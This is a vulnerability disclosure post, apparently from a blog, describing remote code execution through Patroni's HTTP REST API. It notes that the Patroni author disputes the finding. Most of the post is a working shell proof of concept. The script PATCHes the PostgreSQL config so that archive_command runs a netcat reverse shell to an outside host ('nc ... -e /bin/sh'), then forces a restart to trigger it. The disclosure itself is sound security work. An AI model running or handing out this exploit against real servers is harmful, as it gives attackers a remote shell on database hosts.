UPD.: The author doesn’t consider this as security vulnerability - check the issue.

Summary

Patroni - high availability solution for PostgreSQL - contains an Authenticated Remote Code Execution (RCE) vulnerability allowing the remote attacker to execute arbitrary code via modifying the PostgreSQL configuration file through Patroni HTTP REST API.

Patroni HTTP REST API Authentication is not enabled by default and requires to be configured for each Patroni node separately.

An attacker could change this PostgreSQL config values to exploit the vulnerability:

  • archive_command - checked, PoC created;
  • restore_command, archive_cleanup_command - probably useful, not checked yet.

Patching the ‘archive_command’ allows the attacker to execute OS commands, but strongly depends on WAL occupancy and, therefore, on DB activity. It doesn’t work for databases with no queries on insert or change.

 

Video

 

Proof of concept code

Also available at my repo.

#!/usr/bin/sh

# Command to execute on vulnerable host
command="/usr/bin/nc 192.168.122.1 8080 -e /bin/sh" 

if [ $# -eq 0 ]; then
    echo "============================================="
    echo "= Patroni HTTP API Remote Command Execution ="
    echo "============================================="
    echo ""
    echo "[!] Use on your own risk! This script overwrites original postgresql config and doesn't restore it after work"
    echo ""
    echo "[?] Fix the \$command varialbe inside the script first"
    echo "[?] Then, execute the PoC with $0 <ip>:<http_api_port>"
    
    exit 0
fi

echo "[+] Checking the $1..."
status_code=$(curl -sI -o /dev/null -XPATCH -w "%{http_code}" http://$1/config)
if [ "$status_code" -eq "401" ]; then
	echo "[-] Patroni HTTP REST API on $1 is not vulnerable!"
	exit 0
fi

echo "[+] Patroni HTTP REST API on $1 looks vulnerable, sending PATCH request..."
patched_config=$(curl -s -XPATCH -d '{"postgresql":{"parameters":{"wal_level":"replica", "archive_mode":"always", "archive_command":"'"$command"'", "archive_timeout":"1"}}}' http://$1/config)

echo "[+] Initiating restart..."
curl -sI -o /dev/null -XPOST http://$1/restart

echo "[+] Done!"

 

The end